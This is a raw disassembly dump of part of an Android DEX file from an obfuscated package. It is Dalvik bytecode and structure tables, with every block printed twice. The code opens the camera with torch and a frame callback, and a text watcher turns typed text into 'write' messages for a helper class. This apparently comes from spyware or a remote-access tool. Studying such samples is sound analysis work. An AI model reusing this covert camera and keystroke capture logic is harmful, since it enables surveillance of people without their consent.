00085578 handlers[0].addr uint32 0x853b2
00085579
00085579 struct encoded_catch_handler ← 0x85572
00085579 size int64 1
0008557a handlers[0].type_idx int 0x5994
0008557c handlers[0].addr uint32 0x85560
0008557e
0008557e // align 0x10
00085562 struct code_item_padding
00085562 padding uint16 0x0000
00085564
00085564 struct try_item
00085564 start_addr uint32 0x85394
00085568 insn_count int 15
0008556a handler_off uint16 0x85575
0008556c
0008556c struct try_item
0008556c start_addr uint32 0x853b2
00085570 insn_count int 215
00085572 handler_off uint16 0x85579
00085574
00085574 struct encoded_catch_handler_list
00085574 size int 2
00085575
00085575 struct encoded_catch_handler ← 0x8556a
00085575 size int64 1
00085576 handlers[0].type_idx int 0x5994
00085578 handlers[0].addr uint32 0x853b2
00085579
00085579 struct encoded_catch_handler ← 0x85572
00085579 size int64 1
0008557a handlers[0].type_idx int 0x5994
0008557c handlers[0].addr uint32 0x85560
0008557e
0008557e // align 0x10
00085580
00085580cmf0.c3b5bm90zq.patch.C5::onDestroy():
00085590invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->b()V
00085596return-void
00085580
00085580cmf0.c3b5bm90zq.patch.C5::onDestroy():
00085590invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->b()V
00085596return-void
00085580
00085598
00085598cmf0.c3b5bm90zq.patch.C5::surfaceChanged(android.view.SurfaceHolder, int, int, int):
000855a8sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855acif-eqz v1, :cond_e
000855b0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855b4new-instance v2, Lcmf0/c3b5bm90zq/patch/C5$3;
000855b8invoke-direct {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5$3;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
000855beinvoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
000855c4return-void
00085598
00085598cmf0.c3b5bm90zq.patch.C5::surfaceChanged(android.view.SurfaceHolder, int, int, int):
000855a8sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855acif-eqz v1, :cond_e
000855b0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855b4new-instance v2, Lcmf0/c3b5bm90zq/patch/C5$3;
000855b8invoke-direct {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5$3;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
000855beinvoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
000855c4return-void
00085598
000855c6
000855c6 // align 0x8
000855c6 // align 0x8
000855c8
000855c8cmf0.c3b5bm90zq.patch.C5::surfaceCreated(android.view.SurfaceHolder):
000855d8iget-boolean v0, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000855dcif-nez v0, :cond_11e
000855e0const-wide/16 v0, 0x53
000855e4const/4 v2, 0x0
000855e6const-wide/16 v3, 0x45
000855eaconst/4 v5, 0x1
000855ecsget v6, Lcmf0/c3b5bm90zq/patch/C5;->d:I
000855f0invoke-static {v6}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
000855f6move-result-object v6
000855f8sput-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855fciput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085600goto :goto_47
00085602move-exception v6
00085604iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085608new-instance v7, Ljava/lang/StringBuilder;
0008560cinvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
00085612sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085616invoke-static {v8, v9, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008561cmove-result-object v8
0008561einvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085624sget-object v8, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085628invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008562einvoke-virtual {v6}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
00085634move-result-object v6
00085636invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008563csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085640invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085646sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008564ainvoke-static {v8, v9, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085650move-result-object v6
00085652invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085658invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008565emove-result-object v6
00085660invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085666iget-boolean v6, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
0008566aif-ne v6, v5, :cond_11e
0008566esget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085672invoke-virtual {v6}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085678move-result-object v6
0008567asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008567einvoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085684move-result-object v7
00085686invoke-virtual {v7}, Landroid/hardware/Camera$Parameters;->getSupportedPreviewSizes()Ljava/util/List;
0008568cmove-result-object v7
0008568eif-eqz v7, :cond_64
00085692sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
00085696sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
0008569ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
000856a0sget v7, Lcmf0/c3b5bm90zq/patch/C5;->h:I
000856a4if-ne v7, v5, :cond_85
000856a8invoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
000856aemove-result-object v7
000856b0sget-object v8, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000856b4invoke-virtual {v8}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
000856bamove-result-object v8
000856bcinvoke-virtual {v8}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
000856c2move-result-object v8
000856c4if-eqz v8, :cond_85
000856c8const-string v8, "torch"
000856ccinvoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000856d2move-result v7
000856d4if-eqz v7, :cond_85
000856d8const-string v7, "torch"
000856dcinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
000856e2sget v7, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000856e6if-ne v7, v5, :cond_9a
000856eainvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
000856f0move-result-object v7
000856f2const-string v8, "continuous-video"
000856f6invoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000856fcmove-result v7
000856feif-eqz v7, :cond_9a
00085702const-string v7, "continuous-video"
00085706invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
0008570cinvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
00085712move-result v7
00085714if-eqz v7, :cond_a5
00085718sget v7, Lcmf0/c3b5bm90zq/patch/C5;->j:I
0008571cinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
00085722sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
00085726sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
0008572ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
00085730const/16 v7, 0x11
00085734invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setPreviewFormat(I)V
0008573asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008573einvoke-virtual {v7, v6}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00085744sget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085748invoke-virtual {v6, v11}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
0008574enew-instance v11, Ljava/lang/StringBuilder;
00085752invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
00085758sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008575cinvoke-static {v6, v7, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085762move-result-object v6
00085764invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008576asget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008576einvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085774const-string v6, ":)"
00085778invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008577esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085782invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085788const-string v6, "SpecialMessage"
0008578cinvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085792invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085798move-result-object v11
0008579ainvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
000857a0sget-object v11, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000857a4invoke-virtual {v11}, Landroid/hardware/Camera;->startPreview()V
000857aaiput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000857aegoto :goto_11e
000857b0move-exception v11
000857b2iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000857b6new-instance v2, Ljava/lang/StringBuilder;
000857bainvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
000857c0sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000857c4invoke-static {v5, v6, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000857camove-result-object v3
000857ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857d2sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000857d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857dcinvoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
000857e2move-result-object v11
000857e4invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857easget-object v11, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000857eeinvoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857f4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000857f8invoke-static {v3, v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000857femove-result-object v11
00085800invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085806invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008580cmove-result-object v11
0008580einvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085814return-void
000855c8
000855c8cmf0.c3b5bm90zq.patch.C5::surfaceCreated(android.view.SurfaceHolder):
000855d8iget-boolean v0, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000855dcif-nez v0, :cond_11e
000855e0const-wide/16 v0, 0x53
000855e4const/4 v2, 0x0
000855e6const-wide/16 v3, 0x45
000855eaconst/4 v5, 0x1
000855ecsget v6, Lcmf0/c3b5bm90zq/patch/C5;->d:I
000855f0invoke-static {v6}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
000855f6move-result-object v6
000855f8sput-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000855fciput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085600goto :goto_47
00085602move-exception v6
00085604iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00085608new-instance v7, Ljava/lang/StringBuilder;
0008560cinvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
00085612sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085616invoke-static {v8, v9, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008561cmove-result-object v8
0008561einvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085624sget-object v8, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085628invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008562einvoke-virtual {v6}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
00085634move-result-object v6
00085636invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008563csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085640invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085646sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008564ainvoke-static {v8, v9, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085650move-result-object v6
00085652invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085658invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008565emove-result-object v6
00085660invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085666iget-boolean v6, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
0008566aif-ne v6, v5, :cond_11e
0008566esget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085672invoke-virtual {v6}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085678move-result-object v6
0008567asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008567einvoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085684move-result-object v7
00085686invoke-virtual {v7}, Landroid/hardware/Camera$Parameters;->getSupportedPreviewSizes()Ljava/util/List;
0008568cmove-result-object v7
0008568eif-eqz v7, :cond_64
00085692sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
00085696sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
0008569ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
000856a0sget v7, Lcmf0/c3b5bm90zq/patch/C5;->h:I
000856a4if-ne v7, v5, :cond_85
000856a8invoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
000856aemove-result-object v7
000856b0sget-object v8, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000856b4invoke-virtual {v8}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
000856bamove-result-object v8
000856bcinvoke-virtual {v8}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
000856c2move-result-object v8
000856c4if-eqz v8, :cond_85
000856c8const-string v8, "torch"
000856ccinvoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000856d2move-result v7
000856d4if-eqz v7, :cond_85
000856d8const-string v7, "torch"
000856dcinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
000856e2sget v7, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000856e6if-ne v7, v5, :cond_9a
000856eainvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
000856f0move-result-object v7
000856f2const-string v8, "continuous-video"
000856f6invoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000856fcmove-result v7
000856feif-eqz v7, :cond_9a
00085702const-string v7, "continuous-video"
00085706invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
0008570cinvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
00085712move-result v7
00085714if-eqz v7, :cond_a5
00085718sget v7, Lcmf0/c3b5bm90zq/patch/C5;->j:I
0008571cinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
00085722sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
00085726sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
0008572ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
00085730const/16 v7, 0x11
00085734invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setPreviewFormat(I)V
0008573asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008573einvoke-virtual {v7, v6}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00085744sget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085748invoke-virtual {v6, v11}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
0008574enew-instance v11, Ljava/lang/StringBuilder;
00085752invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
00085758sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008575cinvoke-static {v6, v7, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085762move-result-object v6
00085764invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008576asget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008576einvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085774const-string v6, ":)"
00085778invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008577esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085782invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085788const-string v6, "SpecialMessage"
0008578cinvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085792invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085798move-result-object v11
0008579ainvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
000857a0sget-object v11, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000857a4invoke-virtual {v11}, Landroid/hardware/Camera;->startPreview()V
000857aaiput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000857aegoto :goto_11e
000857b0move-exception v11
000857b2iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
000857b6new-instance v2, Ljava/lang/StringBuilder;
000857bainvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
000857c0sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000857c4invoke-static {v5, v6, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000857camove-result-object v3
000857ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857d2sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000857d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857dcinvoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
000857e2move-result-object v11
000857e4invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857easget-object v11, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000857eeinvoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000857f4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000857f8invoke-static {v3, v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000857femove-result-object v11
00085800invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085806invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008580cmove-result-object v11
0008580einvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085814return-void
000855c8
00085816
00085816 struct code_item_padding
00085816 padding uint16 0x0000
00085818
00085818 struct try_item
00085818 start_addr uint32 0x855ec
0008581c insn_count int 10
0008581e handler_off uint16 0x85839
00085820
00085820 struct try_item
00085820 start_addr uint32 0x85666
00085824 insn_count int 29
00085826 handler_off uint16 0x8583d
00085828
00085828 struct try_item
00085828 start_addr uint32 0x856a0
0008582c insn_count int 65
0008582e handler_off uint16 0x85842
00085830
00085830 struct try_item
00085830 start_addr uint32 0x85722
00085834 insn_count int 70
00085836 handler_off uint16 0x8583d
00085838
00085838 struct encoded_catch_handler_list
00085838 size int 3
00085839
00085839 struct encoded_catch_handler ← 0x8581e
00085839 size int64 1
0008583a handlers[0].type_idx int 0x59dc
0008583c handlers[0].addr uint32 0x85602
0008583d
0008583d struct encoded_catch_handler ← 0x85826 0x85836
0008583d size int64 1
0008583e handlers[0].type_idx int 0x5994
00085840 handlers[0].addr uint32 0x857b0
00085842
00085842 struct encoded_catch_handler ← 0x8582e
00085842 size int64 1
00085843 handlers[0].type_idx int 0x5994
00085845 handlers[0].addr uint32 0x85722
00085847
00085847 // align 0x8
00085816 struct code_item_padding
00085816 padding uint16 0x0000
00085818
00085818 struct try_item
00085818 start_addr uint32 0x855ec
0008581c insn_count int 10
0008581e handler_off uint16 0x85839
00085820
00085820 struct try_item
00085820 start_addr uint32 0x85666
00085824 insn_count int 29
00085826 handler_off uint16 0x8583d
00085828
00085828 struct try_item
00085828 start_addr uint32 0x856a0
0008582c insn_count int 65
0008582e handler_off uint16 0x85842
00085830
00085830 struct try_item
00085830 start_addr uint32 0x85722
00085834 insn_count int 70
00085836 handler_off uint16 0x8583d
00085838
00085838 struct encoded_catch_handler_list
00085838 size int 3
00085839
00085839 struct encoded_catch_handler ← 0x8581e
00085839 size int64 1
0008583a handlers[0].type_idx int 0x59dc
0008583c handlers[0].addr uint32 0x85602
0008583d
0008583d struct encoded_catch_handler ← 0x85826 0x85836
0008583d size int64 1
0008583e handlers[0].type_idx int 0x5994
00085840 handlers[0].addr uint32 0x857b0
00085842
00085842 struct encoded_catch_handler ← 0x8582e
00085842 size int64 1
00085843 handlers[0].type_idx int 0x5994
00085845 handlers[0].addr uint32 0x85722
00085847
00085847 // align 0x8
00085848
00085848cmf0.c3b5bm90zq.patch.C5::surfaceDestroyed(android.view.SurfaceHolder):
00085858return-void
00085848
00085848cmf0.c3b5bm90zq.patch.C5::surfaceDestroyed(android.view.SurfaceHolder):
00085858return-void
00085848
0008585a
0008585a // align 0x4
0008585a // align 0x4
0008585c
0008585ccmf0.c3b5bm90zq.patch.C6$1::<init>(cmf0.c3b5bm90zq.patch.C6):
0008586ciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$1;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085870invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00085876return-void
0008585c
0008585ccmf0.c3b5bm90zq.patch.C6$1::<init>(cmf0.c3b5bm90zq.patch.C6):
0008586ciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$1;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085870invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00085876return-void
0008585c
00085878
00085878cmf0.c3b5bm90zq.patch.C6$1::afterTextChanged(android.text.Editable):
00085888return-void
00085878
00085878cmf0.c3b5bm90zq.patch.C6$1::afterTextChanged(android.text.Editable):
00085888return-void
00085878
0008588a
0008588a // align 0x4
0008588a // align 0x4
0008588c
0008588ccmf0.c3b5bm90zq.patch.C6$1::beforeTextChanged(java.lang.CharSequence, int, int, int):
0008589creturn-void
0008588c
0008588ccmf0.c3b5bm90zq.patch.C6$1::beforeTextChanged(java.lang.CharSequence, int, int, int):
0008589creturn-void
0008588c
0008589e
0008589e // align 0x10
0008589e // align 0x10
000858a0
000858a0cmf0.c3b5bm90zq.patch.C6$1::onTextChanged(java.lang.CharSequence, int, int, int):
000858b0invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
000858b6move-result-object v3
000858b8invoke-virtual {v3}, Ljava/lang/String;->length()I
000858bemove-result v4
000858c0const-wide/16 v5, 0x4f
000858c4if-nez v4, :cond_36
000858c8new-instance v3, Ljava/lang/StringBuilder;
000858ccinvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
000858d2sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000858d6invoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000858dcmove-result-object v4
000858deinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858e4sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000858e8invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858eeconst-string v4, "write"
000858f2invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858f8sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000858fcinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085902const-string v4, "null"
00085906invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008590cinvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085912move-result-object v3
00085914invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
0008591agoto :goto_5b
0008591cnew-instance v4, Ljava/lang/StringBuilder;
00085920invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
00085926sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008592ainvoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085930move-result-object v5
00085932invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085938sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008593cinvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085942const-string v5, "write"
00085946invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008594csget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085950invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085956invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008595cinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085962move-result-object v3
00085964goto :goto_32
00085966return-void
000858a0
000858a0cmf0.c3b5bm90zq.patch.C6$1::onTextChanged(java.lang.CharSequence, int, int, int):
